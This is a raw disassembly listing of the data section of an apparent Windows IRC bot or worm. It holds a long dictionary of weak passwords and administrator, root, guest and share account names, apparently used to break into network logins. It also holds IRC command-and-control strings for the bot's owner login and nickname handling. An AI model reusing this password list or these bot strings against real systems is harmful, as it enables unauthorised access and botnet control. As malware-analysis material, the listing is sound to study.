aBlonde		db 'blonde',0           ; DATA XREF: .nsp0:0042C800o
		align 4
aBlack		db 'black',0            ; DATA XREF: .nsp0:0042C7FCo
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: .nsp0:0042C7F8o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: .nsp0:0042C7F4o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .nsp0:0042C7F0o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: .nsp0:0042C7ECo
		align 4
aBird		db 'bird',0             ; DATA XREF: .nsp0:0042C7E8o
		align 4
aBios		db 'bios',0             ; DATA XREF: .nsp0:0042C7E4o
		align 4
aBinary		db 'binary',0           ; DATA XREF: .nsp0:0042C7E0o
		align 4
aBill		db 'bill',0             ; DATA XREF: .nsp0:0042C7DCo
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: .nsp0:0042C7D8o
aBicamera	db 'bicamera',0         ; DATA XREF: .nsp0:0042C7D4o
		align 4
aBible		db 'bible',0            ; DATA XREF: .nsp0:0042C7D0o
		align 10h
aBeverly	db 'beverly',0          ; DATA XREF: .nsp0:0042C7CCo
aBetty		db 'betty',0            ; DATA XREF: .nsp0:0042C7C8o
		align 10h
aBetsie		db 'betsie',0           ; DATA XREF: .nsp0:0042C7C4o
		align 4
aBeth		db 'beth',0             ; DATA XREF: .nsp0:0042C7C0o
		align 10h
aBeta		db 'beta',0             ; DATA XREF: .nsp0:0042C7BCo
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: .nsp0:0042C7B8o
		align 10h
aBerliner	db 'berliner',0         ; DATA XREF: .nsp0:0042C7B4o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: .nsp0:0042C7B0o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: .nsp0:0042C7ACo
		align 10h
aBeowulf	db 'beowulf',0          ; DATA XREF: .nsp0:0042C7A8o
aBenz		db 'benz',0             ; DATA XREF: .nsp0:0042C7A4o
		align 10h
aBeloved	db 'beloved',0          ; DATA XREF: .nsp0:0042C7A0o
aBell		db 'bell',0             ; DATA XREF: .nsp0:0042C79Co
		align 10h
aBehead		db 'behead',0           ; DATA XREF: .nsp0:0042C798o
		align 4
aBegin		db 'begin',0            ; DATA XREF: .nsp0:0042C794o
		align 10h
aBeethove	db 'beethove',0         ; DATA XREF: .nsp0:0042C790o
		align 4
aBecky		db 'becky',0            ; DATA XREF: .nsp0:0042C78Co
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: .nsp0:0042C788o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: .nsp0:0042C784o
		align 4
aBeater		db 'beater',0           ; DATA XREF: .nsp0:0042C780o
		align 4
aBeast		db 'beast',0            ; DATA XREF: .nsp0:0042C77Co
		align 4
aBear		db 'bear',0             ; DATA XREF: .nsp0:0042C778o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: .nsp0:0042C774o
		align 4
aBeach		db 'beach',0            ; DATA XREF: .nsp0:0042C770o
		align 10h
aBatman		db 'batman',0           ; DATA XREF: .nsp0:0042C76Co
		align 4
aBatch		db 'batch',0            ; DATA XREF: .nsp0:0042C768o
		align 10h
aBassoon	db 'bassoon',0          ; DATA XREF: .nsp0:0042C764o
aBass		db 'bass',0             ; DATA XREF: .nsp0:0042C760o
		align 10h
aBasic		db 'basic',0            ; DATA XREF: .nsp0:0042C75Co
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: .nsp0:0042C758o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: .nsp0:0042C754o
aBart		db 'bart',0             ; DATA XREF: .nsp0:0042C750o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: .nsp0:0042C74Co
		align 10h
aBarf		db 'barf',0             ; DATA XREF: .nsp0:0042C748o
		align 4
aBare		db 'bare',0             ; DATA XREF: .nsp0:0042C744o
		align 10h
aBarber		db 'barber',0           ; DATA XREF: .nsp0:0042C740o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: .nsp0:0042C73Co
aBanks		db 'banks',0            ; DATA XREF: .nsp0:0042C738o
		align 4
aBank		db 'bank',0             ; DATA XREF: .nsp0:0042C734o
		align 10h
aBandit		db 'bandit',0           ; DATA XREF: .nsp0:0042C730o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: .nsp0:0042C72Co
aBanana		db 'banana',0           ; DATA XREF: .nsp0:0042C728o
		align 4
aBall		db 'ball',0             ; DATA XREF: .nsp0:0042C724o
		align 10h
aBailey		db 'bailey',0           ; DATA XREF: .nsp0:0042C720o
		align 4
aBadass		db 'badass',0           ; DATA XREF: .nsp0:0042C71Co
		align 10h
aBackdoor	db 'backdoor',0         ; DATA XREF: .nsp0:0042C718o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: .nsp0:0042C714o
aBaby		db 'baby',0             ; DATA XREF: .nsp0:0042C710o
		align 4
aBabe		db 'babe',0             ; DATA XREF: .nsp0:0042C70Co
		align 4
aAzure		db 'azure',0            ; DATA XREF: .nsp0:0042C708o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: .nsp0:0042C704o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: .nsp0:0042C700o
		align 10h
aAttack		db 'attack',0           ; DATA XREF: .nsp0:0042C6FCo
		align 4
aAtom		db 'atom',0             ; DATA XREF: .nsp0:0042C6F8o
		align 10h
aAtmosphe	db 'atmosphe',0         ; DATA XREF: .nsp0:0042C6F4o
		align 4
aAthena		db 'athena',0           ; DATA XREF: .nsp0:0042C6F0o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: .nsp0:0042C6ECo
aAsian		db 'asian',0            ; DATA XREF: .nsp0:0042C6E8o
		align 4
aArtist		db 'artist',0           ; DATA XREF: .nsp0:0042C6E4o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: .nsp0:0042C6E0o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: .nsp0:0042C6DCo
		align 4
aArmy		db 'army',0             ; DATA XREF: .nsp0:0042C6D8o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: .nsp0:0042C6D4o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: .nsp0:0042C6D0o
aAria		db 'aria',0             ; DATA XREF: .nsp0:0042C6CCo
		align 4
aApril		db 'april',0            ; DATA XREF: .nsp0:0042C6C8o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: .nsp0:0042C6C4o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: .nsp0:0042C6C0o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: .nsp0:0042C6BCo
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: .nsp0:0042C6B8o
		align 10h
aAnthrax	db 'anthrax',0          ; DATA XREF: .nsp0:0042C6B4o
aAnswer		db 'answer',0           ; DATA XREF: .nsp0:0042C6B0o
		align 10h
aAnonymou	db 'anonymou',0         ; DATA XREF: .nsp0:0042C6ACo
		align 4
aAnon		db 'anon',0             ; DATA XREF: .nsp0:0042C6A8o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: .nsp0:0042C6A4o
aAnne		db 'anne',0             ; DATA XREF: .nsp0:0042C6A0o
		align 4
aAnna		db 'anna',0             ; DATA XREF: .nsp0:0042C69Co
		align 4
aAnita		db 'anita',0            ; DATA XREF: .nsp0:0042C698o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: .nsp0:0042C694o
aAnimal		db 'animal',0           ; DATA XREF: .nsp0:0042C690o
		align 4
aAngie		db 'angie',0            ; DATA XREF: .nsp0:0042C68Co
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: .nsp0:0042C688o
		align 4
aAngela		db 'angela',0           ; DATA XREF: .nsp0:0042C684o
		align 10h
aAnfo		db 'anfo',0             ; DATA XREF: .nsp0:0042C680o
		align 4
aAndy		db 'andy',0             ; DATA XREF: .nsp0:0042C67Co
		align 10h
aAndromac	db 'andromac',0         ; DATA XREF: .nsp0:0042C678o
		align 4
aAndroid	db 'android',0          ; DATA XREF: .nsp0:0042C674o
aAndrea		db 'andrea',0           ; DATA XREF: .nsp0:0042C670o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: .nsp0:0042C66Co
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: .nsp0:0042C668o
aAnarchis	db 'anarchis',0         ; DATA XREF: .nsp0:0042C664o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: .nsp0:0042C660o
		align 10h
aAnal		db 'anal',0             ; DATA XREF: .nsp0:0042C65Co
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: .nsp0:0042C658o
		align 4
aAmerica	db 'america',0          ; DATA XREF: .nsp0:0042C654o
aAmber		db 'amber',0            ; DATA XREF: .nsp0:0042C650o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: .nsp0:0042C64Co
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: .nsp0:0042C648o
aAlphabet	db 'alphabet',0         ; DATA XREF: .nsp0:0042C644o
		align 10h
aAllow		db 'allow',0            ; DATA XREF: .nsp0:0042C640o
		align 4
aAllison	db 'allison',0          ; DATA XREF: .nsp0:0042C63Co
aAlison		db 'alison',0           ; DATA XREF: .nsp0:0042C638o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: .nsp0:0042C634o
		align 10h
aAlicia		db 'alicia',0           ; DATA XREF: .nsp0:0042C630o
		align 4
aAlice		db 'alice',0            ; DATA XREF: .nsp0:0042C62Co
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: .nsp0:0042C628o
aAlias		db 'alias',0            ; DATA XREF: .nsp0:0042C624o
		align 10h
aAlgebra	db 'algebra',0          ; DATA XREF: .nsp0:0042C620o
aAlexande	db 'alexande',0         ; DATA XREF: .nsp0:0042C61Co
		align 4
aAlex		db 'alex',0             ; DATA XREF: .nsp0:0042C618o
		align 4
aAlert		db 'alert',0            ; DATA XREF: .nsp0:0042C614o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: .nsp0:0042C610o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: .nsp0:0042C60Co
		align 4
aAlbany		db 'albany',0           ; DATA XREF: .nsp0:0042C608o
		align 10h
aAlaska		db 'alaska',0           ; DATA XREF: .nsp0:0042C604o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: .nsp0:0042C600o
		align 4
aAids		db 'aids',0             ; DATA XREF: .nsp0:0042C5FCo
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: .nsp0:0042C5F8o
		align 4
aAdult		db 'adult',0            ; DATA XREF: .nsp0:0042C5F4o
		align 10h
aAdrianna	db 'adrianna',0         ; DATA XREF: .nsp0:0042C5F0o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: .nsp0:0042C5ECo
		align 4
aAdam		db 'adam',0             ; DATA XREF: .nsp0:0042C5E8o
		align 4
aAction		db 'action',0           ; DATA XREF: .nsp0:0042C5E4o
		align 4
aAccount	db 'account',0          ; DATA XREF: .nsp0:0042C5E0o
aAcademic	db 'academic',0         ; DATA XREF: .nsp0:0042C5D8o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: .nsp0:0042C5D4o
		align 4
a000000		db '000000',0           ; DATA XREF: .nsp0:0042C5D0o
					; .nsp0:0042DFE8o
		align 4
a00000		db '00000',0            ; DATA XREF: .nsp0:0042C5CCo
					; .nsp0:0042DFE4o
		align 4
a0000		db '0000',0             ; DATA XREF: .nsp0:0042C5C8o
					; .nsp0:0042DFE0o
		align 4
a000		db '000',0              ; DATA XREF: .nsp0:0042C5C4o
					; .nsp0:0042DFDCo
aTesting	db 'testing',0          ; DATA XREF: .nsp0:0042C5C0o
aDeath		db 'death',0            ; DATA XREF: .nsp0:0042C5BCo
		align 10h
a00		db '00',0               ; DATA XREF: .nsp0:0042C5B8o
					; .nsp0:0042DFD8o
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .nsp0:0042C5B0o
					; .nsp0:0042E428o
		align 10h
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:0042C5ACo
					; .nsp0:0042E424o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .nsp0:0042C5A8o
					; .nsp0:0042E420o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .nsp0:0042C5A4o
					; .nsp0:0042E41Co
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .nsp0:0042C5A0o
					; .nsp0:0042E418o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .nsp0:0042C59Co
					; .nsp0:0042E414o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .nsp0:0042C598o
					; .nsp0:0042E410o
aXx		db 'xx',0               ; DATA XREF: .nsp0:0042C594o
					; .nsp0:0042E40Co
		align 4
asc_432C64:				; DATA XREF: .nsp0:0042C590o
					; .nsp0:0042E408o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: .nsp0:0042C58Co
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .nsp0:0042C588o
		align 10h
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: .nsp0:0042C584o
		align 10h
aMirc_0		db 'mirc',0             ; DATA XREF: .nsp0:0042C580o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: .nsp0:0042C57Co
		align 10h
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: .nsp0:0042C578o
		align 10h
aScript		db 'script',0           ; DATA XREF: .nsp0:0042C574o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: .nsp0:0042C570o
		align 10h
aHacker		db 'hacker',0           ; DATA XREF: .nsp0:0042C56Co
		align 4
aL337		db 'l337',0             ; DATA XREF: .nsp0:0042C568o
		align 10h
aL33t		db 'l33t',0             ; DATA XREF: .nsp0:0042C564o
		align 4
aLeet		db 'leet',0             ; DATA XREF: .nsp0:0042C560o
		align 10h
aKiller		db 'killer',0           ; DATA XREF: .nsp0:0042C55Co
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: .nsp0:0042C558o
					; .nsp0:0042E044o
		align 10h
aW00t		db 'w00t',0             ; DATA XREF: .nsp0:0042C554o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: .nsp0:0042C550o
		align 10h
aSpaceman	db 'spaceman',0         ; DATA XREF: .nsp0:0042C54Co
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: .nsp0:0042C548o
aSatanik	db 'satanik',0          ; DATA XREF: .nsp0:0042C544o
aSatan		db 'satan',0            ; DATA XREF: .nsp0:0042C540o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: .nsp0:0042C53Co
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: .nsp0:0042C538o
aMatt		db 'Matt',0             ; DATA XREF: .nsp0:0042C534o
		align 4
aMat		db 'Mat',0              ; DATA XREF: .nsp0:0042C530o
aPw		db 'pw',0               ; DATA XREF: .nsp0:0042C52Co
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: .nsp0:0042C528o
		align 10h
aMypass		db 'mypass',0           ; DATA XREF: .nsp0:0042C524o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: .nsp0:0042C520o
		align 10h
aAdmin123	db 'admin123',0         ; DATA XREF: .nsp0:0042C51Co
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: .nsp0:0042C518o
aMypc		db 'mypc',0             ; DATA XREF: .nsp0:0042C514o
		align 4
aLove		db 'love',0             ; DATA XREF: .nsp0:0042C510o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .nsp0:0042C50Co
aLogin		db 'login',0            ; DATA XREF: .nsp0:0042C508o
		align 10h
aHome		db 'home',0             ; DATA XREF: .nsp0:0042C504o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: .nsp0:0042C500o
					; .nsp0:0042E448o
		align 10h
aYxcv		db 'yxcv',0             ; DATA XREF: .nsp0:0042C4FCo
		align 4
aQwer		db 'qwer',0             ; DATA XREF: .nsp0:0042C4F8o
					; .nsp0:0042E3B4o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: .nsp0:0042C4F4o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: .nsp0:0042C4F0o
					; .nsp0:0042E460o
		align 10h
aPc		db 'pc',0               ; DATA XREF: .nsp0:0042C4ECo
		align 4
aWin		db 'win',0              ; DATA XREF: .nsp0:0042C4E8o
aTest123	db 'test123',0          ; DATA XREF: .nsp0:0042C4E4o
aAbc		db 'abc',0              ; DATA XREF: .nsp0:0042C4E0o
aAaa		db 'aaa',0              ; DATA XREF: .nsp0:0042C4DCo
					; .nsp0:0042E388o
aA_1:					; DATA XREF: .nsp0:0042C4D8o
					; .nsp0:0042E380o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: .nsp0:0042C4D4o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: .nsp0:0042C4D0o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: .nsp0:0042C4CCo
aIrule		db 'irule',0            ; DATA XREF: .nsp0:0042C4C8o
		align 4
aOwned		db 'owned',0            ; DATA XREF: .nsp0:0042C4C4o
		align 4
a0wned		db '0wned',0            ; DATA XREF: .nsp0:0042C4C0o
					; .nsp0:0042E048o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: .nsp0:0042C4BCo
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: .nsp0:0042C4B8o
		align 4
aDevil		db 'devil',0            ; DATA XREF: .nsp0:0042C4B4o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: .nsp0:0042C4B0o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: .nsp0:0042C4ACo
		align 4
aGod		db 'god',0              ; DATA XREF: .nsp0:0042C4A8o
aSex_0		db 'sex',0              ; DATA XREF: .nsp0:0042C4A4o
aPat		db 'pat',0              ; DATA XREF: .nsp0:0042C4A0o
aPatrick	db 'patrick',0          ; DATA XREF: .nsp0:0042C49Co
aAlpha		db 'alpha',0            ; DATA XREF: .nsp0:0042C498o
		align 4
a007		db '007',0              ; DATA XREF: .nsp0:0042C494o
					; .nsp0:0042E034o
a123abc		db '123abc',0           ; DATA XREF: .nsp0:0042C490o
					; .nsp0:0042E244o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .nsp0:0042C48Co
					; .nsp0:0042E250o
		align 10h
a123123		db '123123',0           ; DATA XREF: .nsp0:0042C488o
					; .nsp0:0042E1F0o
		align 4
a121212		db '121212',0           ; DATA XREF: .nsp0:0042C484o
					; .nsp0:0042E1E8o
		align 10h
a111111		db '111111',0           ; DATA XREF: .nsp0:0042C480o
					; .nsp0:0042E060o
		align 4
a110		db '110',0              ; DATA XREF: .nsp0:0042C47Co
					; .nsp0:0042E1B4o
a2600		db '2600',0             ; DATA XREF: .nsp0:0042C478o
					; .nsp0:0042E33Co
		align 4
a2002		db '2002',0             ; DATA XREF: .nsp0:0042C470o
					; .nsp0:0042E328o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .nsp0:0042C46Co
		align 10h
aEnable		db 'enable',0           ; DATA XREF: .nsp0:0042C468o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: .nsp0:0042C464o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .nsp0:0042C460o
a123asd		db '123asd',0           ; DATA XREF: .nsp0:0042C45Co
					; .nsp0:0042E248o
		align 4
aSuper		db 'super',0            ; DATA XREF: .nsp0:0042C458o
		align 10h
aInternet	db 'Internet',0         ; DATA XREF: .nsp0:0042C454o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .nsp0:0042C44Co
					; .nsp0:0042E24Co
		align 4
aSybase		db 'sybase',0           ; DATA XREF: .nsp0:0042C448o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .nsp0:0042C440o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: .nsp0:0042C43Co
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .nsp0:0042C434o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: .nsp0:0042C430o
		align 4
a88888888	db '88888888',0         ; DATA XREF: .nsp0:0042C42Co
					; .nsp0:0042E180o
		align 4
a11111111	db '11111111',0         ; DATA XREF: .nsp0:0042C428o
					; .nsp0:0042E068o
		align 4
a111		db '111',0              ; DATA XREF: .nsp0:0042C424o
					; .nsp0:0042E054o
a54321		db '54321',0            ; DATA XREF: .nsp0:0042C420o
					; .nsp0:0042E348o
		align 10h
a654321		db '654321',0           ; DATA XREF: .nsp0:0042C41Co
					; .nsp0:0042E34Co
		align 4
a123456789	db '123456789',0        ; DATA XREF: .nsp0:0042C418o
					; .nsp0:0042E208o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .nsp0:0042C414o
					; .nsp0:0042E204o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: .nsp0:0042C410o
					; .nsp0:0042E200o
a123456		db '123456',0           ; DATA XREF: .nsp0:0042C40Co
					; .nsp0:0042E1FCo
		align 10h
a12345		db '12345',0            ; DATA XREF: .nsp0:0042C408o
					; .nsp0:0042E1F8o
		align 4
a1234		db '1234',0             ; DATA XREF: .nsp0:0042C404o
					; .nsp0:0042E1F4o
		align 10h
a123		db '123',0              ; DATA XREF: .nsp0:0042C400o
					; .nsp0:0042E1ECo
a12		db '12',0               ; DATA XREF: .nsp0:0042C3FCo
					; .nsp0:0042E1E0o
		align 4
a1:					; DATA XREF: .nsp0:0042C3F8o
					; .nsp0:0042E04Co
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: .nsp0:0042C3F4o
aChangeme_0	db 'Changeme',0         ; DATA XREF: .nsp0:0042C3F0o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: .nsp0:0042C3ECo
		align 4
aLinux		db 'linux',0            ; DATA XREF: .nsp0:0042C3E8o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .nsp0:0042C3E4o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .nsp0:0042C3E0o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: .nsp0:0042C3DCo
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: .nsp0:0042C3D8o
					; .nsp0:0042E798o
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: .nsp0:0042C3D4o
					; .nsp0:0042E3E8o ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: .nsp0:0042C3D0o
					; .nsp0:0042E790o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: .nsp0:0042C3C8o
					; .nsp0:0042E788o
		align 4
aTest		db 'TEST',0             ; DATA XREF: .nsp0:0042C3C4o
					; .nsp0:0042E784o
		align 4
aEdu		db 'edu',0              ; DATA XREF: .nsp0:0042C3C0o
					; .nsp0:0042E780o
aOwner_1	db 'Owner',0            ; DATA XREF: .nsp0:0042C3BCo
					; .nsp0:0042E77Co
		align 10h
aOwner_0	db 'OWNER',0            ; DATA XREF: .nsp0:0042C3B8o
					; .nsp0:0042E778o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: .nsp0:0042C3B4o
					; .nsp0:0042E774o
		align 10h
aFiles		db 'FILES',0            ; DATA XREF: .nsp0:0042C3B0o
					; .nsp0:0042E770o
		align 4
aRead		db 'READ',0             ; DATA XREF: .nsp0:0042C3ACo
					; .nsp0:0042E76Co
		align 10h
aBoth		db 'BOTH',0             ; DATA XREF: .nsp0:0042C3A8o
					; .nsp0:0042E768o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: .nsp0:0042C3A4o
					; .nsp0:0042E764o
		align 10h
aFull_0		db 'FULL',0             ; DATA XREF: .nsp0:0042C3A0o
					; .nsp0:0042E760o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: .nsp0:0042C39Co
					; .nsp0:0042E75Co
		align 10h
aShare_0	db 'SHARE',0            ; DATA XREF: .nsp0:0042C398o
					; .nsp0:0042E758o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: .nsp0:0042C394o
					; .nsp0:0042E754o
		align 10h
aPassword	db 'PASSWORD',0         ; DATA XREF: .nsp0:0042C390o
					; .nsp0:0042E750o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .nsp0:0042C38Co
					; .nsp0:0042E74Co
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: .nsp0:0042C384o
					; .nsp0:0042E744o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: .nsp0:0042C380o
					; .nsp0:0042E740o
		align 4
aBla		db 'bla',0              ; DATA XREF: .nsp0:0042C37Co
					; .nsp0:0042E73Co
aFubar		db 'fubar',0            ; DATA XREF: .nsp0:0042C378o
					; .nsp0:0042E738o
		align 10h
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: .nsp0:0042C36Co
					; .nsp0:0042E72Co
		align 10h
aDb2		db 'db2',0              ; DATA XREF: .nsp0:0042C35Co
aOracle		db 'oracle',0           ; DATA XREF: .nsp0:0042C358o
					; .nsp0:0042C444o
		align 4
aDba		db 'dba',0              ; DATA XREF: .nsp0:0042C354o
aDatabase	db 'database',0         ; DATA XREF: .nsp0:0042C350o
					; .nsp0:0042C438o
		align 4
aDefault	db 'default',0          ; DATA XREF: .nsp0:0042C34Co
					; .nsp0:0042CAD8o
aGuest_0	db 'guest',0            ; DATA XREF: .nsp0:0042C348o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .nsp0:0042C344o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .nsp0:0042C340o
					; .nsp0:0042DA6Co
aStudent	db 'student',0          ; DATA XREF: .nsp0:0042C33Co
					; .nsp0:0042D9B4o
aOwner		db 'owner',0            ; DATA XREF: .nsp0:0042C338o
		align 10h
aComputer	db 'computer',0         ; DATA XREF: .nsp0:0042C334o
					; .nsp0:0042C450o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .nsp0:0042C32Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .nsp0:0042C320o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .nsp0:0042C31Co
		align 10h
aAdministrato_0	db 'Administrator',0    ; DATA XREF: sub_413627:loc_413732o
					; .nsp0:0042C310o ...
		align 10h
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: .nsp0:off_42C264o
a@room		db '*@room',0           ; DATA XREF: .nsp0:off_42C260o
		align 4
dword_433124	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C682+35Co
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h
dword_433150	dd 25207325h, 25222064h, 2273hdword_43315C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CB75+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CCDD+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CCDD+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CDDo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CC8o
		align 4
dword_4331D4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5CBBo
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_433208	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5C9Eo
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_43323C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5C40o
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_43327C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5BD0o
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40CE55+5BC1o
					; sub_40CE55+5C31o
		align 10h
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40CE55+5BADo
					; sub_40CE55+5C1Do
		align 4
asc_433308:				; DATA XREF: sub_40CE55+5B7Do
		unicode	0, <~>,0
dword_43330C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5B2Co
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_433344	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A7Eo
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_433384	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A73o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_4333C4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A0Fo
